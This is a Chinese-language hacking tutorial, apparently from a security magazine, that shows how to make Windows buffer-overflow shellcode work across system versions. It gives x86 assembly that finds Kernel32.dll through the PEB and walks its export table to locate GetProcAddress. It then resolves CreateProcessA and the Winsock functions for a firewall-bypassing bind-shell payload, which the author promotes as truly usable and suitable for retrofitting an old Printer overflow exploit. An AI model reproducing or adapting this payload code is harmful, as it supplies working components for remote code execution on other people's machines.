在编写突破防火墙的ShellCode时,由于篇幅的原因,只用了固定的函数地址,实现了重用本机端口地址的功能;为了让其更具有实用性,在这里加入动态获取ShellCode函数地址部分,这样生成的ShellCode就可以实现通用了,
让ShellCode突破系统版本限制
。注意:这可是外面找不到的,真正可用的ShellCode哦!动态获取函数地址的原因
上次已经讲过,Windows下函数的执行过程是先将参数压入堆栈,再直接Call函数的地址。比如执行WSAStartup(0x202, &wsa),就是:
sub esp, 0x200
push esp //第二个参数&wsa入栈
push 0x202 //第一个参数0x202入栈
call 0x71a241da //0x71a241da为WSAStartup在XP sp0中的地址
参数的入栈都简单,但最后一步就有点麻烦了,因为Windows系统有诸多的版本,如Windows 98/NT/2000/XP/2003等,而且每个版本又有很多不同的补丁集,如SP0,SP1等。同一个函数,在不同的版本或补丁集系统中,地址会不一样。如果我们直接写成“Call 0x71a241da”的形式,那么在非Windows XP SP0的系统中就不能正确执行了。
在Windows 2000 SP2年代,经典的Printer,Ida、Idq等溢出利用工具都有一个选项——选择目标计算机的SP版本。现在你应该清楚了吧?这个项的作用就是对不同SP的目标系统使用不同函数地址的ShellCode。但是预先得知对方的系统,特别是补丁号是件很困难的事,没有管理员账号的情况下,想远程获得对方系统的SP号,理论上是不太可能的。如果穷举测试,现在Windows 2000有5个,Windows XP也有3个不同的SP,一次次不断地试ShellCode非常麻烦,而且一些漏洞只能攻击一次,如果失败就只能等待对方重启后才能再攻击,所以我们需要一种方法,动态获得当前目标计算机上的版本信息或真正的函数地址。获得真正的函数地址后,再Call该地址就可以保证在不同的系统都能正确地执行ShellCode了。
动态获取地址思路
如何动态获得函数地址呢?我们想想,因为远程探测知道对方的SP号一般不可能,那么就只能在对方机器上获得SP号或函数地址,而缓冲区溢出时,ShellCode的执行流程是:溢出->覆盖返回点->进入ShellCode执行(如果对该流程还不熟悉,多看看以前黑防的文章)。正好,ShellCode是在对方机器上执行的,而能否进入ShellCode只和JMP ESP或POP POP RET指令的地址有关,所以我们可以考虑刚进入ShellCode时,就作获取SP号或函数地址的工作。
在正常情况下,获得函数地址一般是使用LoadLibrary和GetProcAddress来完成的。在上次的文章中,使用该方法获得地址的抓图如图1所示。
图1
类似的,我们可以在ShellCode中,先用GetProcAddress函数获得其它函数的地址,这就是当时所在的目标系统上的地址;除了GetProcAddress外,还需要知道LoadLibrary的地址;我们就可以利用这两个函数来动态获得其它函数的地址并存起来;以后要调用函数的时候,就使用查找出来的地址,从而完成具有通用性的ShellCode。
思路是这样,但GetProcAddress和LoadLibrary如何得到呢?LoadLibrary函数是在Kernel32.dll中,任何程序都会加载Kernel32.dll,所以LoadLibrary函数的地址也可以通过GetProcAddress来获得。那么就只剩下获得GetProcAddress函数地址的问题了。
GetProcAddress函数位于Kernel32.dll中,是Kernel32.dll的引出函数,那么我们搜索Kernel32.dll的引出表,就一定会找到GetProcAddress函数的地址。但首先Kernel32.dll的地址在那儿呢?不同的系统都一样么?
不同的系统中,Kernel32.dll的地址是不一样的,但我们可以通过Windows的系统结构来获得Kernel32.dll的基址。获得Kernel32.dll地址的方法很多,但比较优雅的是利用PEB结构来获得。简单来说步骤如下:
1. fs寄存器指向TEB结构;
2. 在TEB+0x30地方指向PEB结构;
3. 在PEB+0x0C地方指向PEB_LDR_DATA结构。
在PEB_LDR_DATA+0x1C地方就是一些动态连接库的地址了,如第一个指向ntdll.dll,第二个就是Kernel32.dll的地址。更直接的汇编代码实现为:
mov eax, fs:0x30 ;PEB的地址
mov eax, [eax + 0x0c] ;Ldr的地址
mov esi, [eax + 0x1c] ;Flink地址
lodsd
mov eax, [eax + 0x08] ;eax就是Kernel32.dll的地址
测试一下,在VC中用__asm关键字嵌入汇编,调试,得到本机上的Kernel32.dll地址为0x77E40000,如下图2所示,果然正确,和图1中的值一样。
图2
找到了Kernel32.dll的地址后,我们奔向想要的GetProcAddress函数的地址吧。方法就是利用Kernel32.dll中的引出表!
小知识:在Windows下,每个DLL都有引出表,指明该DLL里面实现的函数有那些,名称是什么,地址为多少。这样外部程序可以方便的调用DLL里实现的函数,而不必关心实现的具体细节。
PE头部偏移在Kerner32.dll基址+0x3C的地方,而引出表的位置在Kerner32.dll基地址+PE头部地址+0x78的地方。引出表的结构如下:
Typedef struct _IMAGE_EXPORT_DIRECTORY
{
Characteristics; 4
TimeDateStamp 4
MajorVersion 2
MinorVersion 2
Name 4 DLL模块名字
Base 4 基数,加上序数就是函数地址数组的索引值
NumberOfFunctions 4
NumberOfNames 4
AddressOfFunctions 4 指向函数地址数组
AddressOfNames 4 函数名字的指针地址
AddressOfNameOrdinal 4 指向输出序列号数组
}
结构虽然复杂,但和获得函数地址相关的只是最后几项。举个具体的例子来看,如图3所示。
图3
NumberOfFunctions字段:为AddressOfFunctions指向的函数地址数组的个数,这个例子中,这里是3;
NumberOfName字段:为AddressOfNames指向的函数名称数组的个数,这里是2;
AddressOfFunctions字段:指向模块中所有函数地址的数组;
AddressOfNames字段:指向模块中所有函数名称的数组;
AddressOfNameOrdinals字段:指向AddressOfNames数组中函数对应序数的数组。
在通过函数名称查找函数地址时,先在函数名称数组AddressOfNames中,找到想查找的函数名,然后在函数序号数组AddressOfNameOrdinals中,得到对应的函数序号,最后根据这个序号,在函数地址数组AddressOfFunctions中,得到函数对应的地址值。比如在这个引出表例子中,我们想得到函数WW3()的地址,步骤如下:
首先从AddressOfNames开始,依次在函数名数组中查找与函数名称WW3相同的项,可以看到,WW3在AddressOfNames中是第二项;
然后,在AddressOfNameOrdinals中,查看第二个项里存的序号值是多少,这里是3;
最后,根据序号3,在AddressOfFunctions数组的第3个函数地址项中,查找出WW3函数的地址为0x400303。
把上面的所有流程合起来,得到过程为:
第一步: 通过TEB/PEB获取Kernel32.dll基址;
第二步: 在(Kernel32基址+0x3c)处获取PE头部基址;
第三步: 在(Kernel32基址+PE头部基址+0x78)处获取引出表地址(后面为描述方便简称export);
第四步: 在(Kernel32基址+export+0x1c)处获取AddressOfFunctions、AddressOfNames、AddressOfNameOrdinalse;
第五步: 搜索AddressOfNames,确定、"GetProcAddress"所对应的index;
第六步: index = AddressOfNameOrdinalse [ index ];函数地址 = AddressOfFunctions [ index ],
电脑资料
《让ShellCode突破系统版本限制》(https://www.unjs.com)。其对应的汇编为下:
__asm
{
mov ebp, 0x77E40000 ;Kernel32.dll 基址
mov eax, [ebp+3Ch] ;eax = PE首部
mov edx,[ebp+eax+78h]
add edx,ebp ;edx = 引出表地址
mov ecx , [edx+18h] ;ecx = 输出函数的个数
mov ebx,[edx+20h]
add ebx, ebp ;ebx =函数名地址,AddressOfName
search:
dec ecx
mov esi,[ebx+ecx*4]
add esi,ebp ;依次找每个函数名称
;GetProcAddress
mov eax,0x50746547
cmp [esi], eax; 比较'PteG'
jne search
mov eax,0x41636f72
cmp [esi+4],eax; 比较'Acor'
jne search
;如果是GetProcA,表示在AddressOfName中找到了
mov ebx,[edx+24h]
add ebx,ebp ;ebx = 序号数组地址,AddressOf
mov cx,[ebx+ecx*2] ;ecx = 计算出的序号值
mov ebx,[edx+1Ch]
add ebx,ebp ;ebx = 函数地址的起始位置,AddressOfFunction
mov eax,[ebx+ecx*4]
add eax,ebp ;利用序号值,得到出GetProcAddress的地址
动态获取函数地址
有了前面这些基础,我们可以把突破防火墙的ShellCode改为通用版本。上次的代码是将固定的函数地址直接放在数组中,等待后面调用,这里我们就加上一段动态获得函数地址,然后再存入数组中的代码:
push ebp;
sub esp, 50;
mov ebp,esp;
中间为上面的获取GetProcAddress地址的代码,参看上面,这里略
mov [ebp+40h], eax ;把GetProcAddress的地址存在 ebp+40中
;有了GetProcAddress函数地址后,可以查找 LoadLibrary的地址了。
push 0x0
push dword ptr 0x41797261
push dword ptr 0x7262694c
push dword ptr 0x64616f4c ;在堆栈中构造LoadLibraryA字符串
push esp
push edi
call [ebp+40h] ; GetProcAddress(Kernel32基址, "LoadLibraryA")
mov [ebp+44h], eax; LoadLibraryA ;把LoadLibraryA的地址存在ebp+0x44中
;GetProcAddress和LoadLibrary两个函数的地址都有了,开始查找其他函数的地址。
;第一个查找CreateProcessA的地址,也是在Kernel32中的
push dword ptr 0x00004173
push dword ptr 0x7365636f
push dword ptr 0x72506574
push dword ptr 0x61657243
push esp
push edi
call [ebp+40h]
mov [ebp+4], eax; CreateProcessA地址
;查找Ws2_32中的函数地址了,首先是加载Ws2_32这个dll
push dword ptr 0x00003233
push dword ptr 0x5f327357
push esp
call [ebp+44h] ;LoadLibrary(Ws2_32)
mov edi, eax
;查找WSAStartup地址
push dword ptr 0x00007075
push dword ptr 0x74726174
push dword ptr 0x53415357
push esp
push edi
call [ebp+40h]
mov [ebp+8], eax; WSAStartup 0x00007075 0x74726174 0x53415357
; 查找WSASocketA地址
push dword ptr 0x00004174
push dword ptr 0x656B636f
push dword ptr 0x53415357
push esp
push edi
call [ebp+40h]
mov [ebp+12h], eax; socket 0x00007465 0x6b636f73
;查找setsockopt地址
push dword ptr 0x00007470
push dword ptr 0x6F6B636F
push dword ptr 0x73746573
push esp
push edi
call [ebp+40h]
mov [ebp+16h], eax;
;查找bind
push dword ptr 0
push dword ptr 0x646e6962
push esp
push edi
call [ebp+40h]
mov [ebp+20h], eax; bind 0x646e6962
;查找listen
push dword ptr 0x00006e65
push dword ptr 0x7473696c
push esp
push edi
call [ebp+40h]
mov [ebp+24h], eax; listen 0x00006e65 0x7473696c
;查找accept
push dword ptr 0x00007470
push dword ptr 0x65636361
push esp
push edi
call [ebp+40h]
mov [ebp+28h], eax; accept 0x00007470 0x65636361
加上动态获取函数以后,后面的代码不变,连起来测试一下,具体代码参看光盘。如下图4所示。
图4
成功了,看到了吗?明白了方法,不费多少功夫把实现代码写出来,这是件很惬意的事。
通过上面的方法,我们就得到了不同系统都完全通用的代码,无论对方是什么版本和语言的Windows系统,都可以用这种方法打造绝对通用的ShellCode!如果想怀怀旧,可以把以前的Printer溢出利用程序改改,改成通用的ShellCode,就可以不带那个对方系统版本的参数了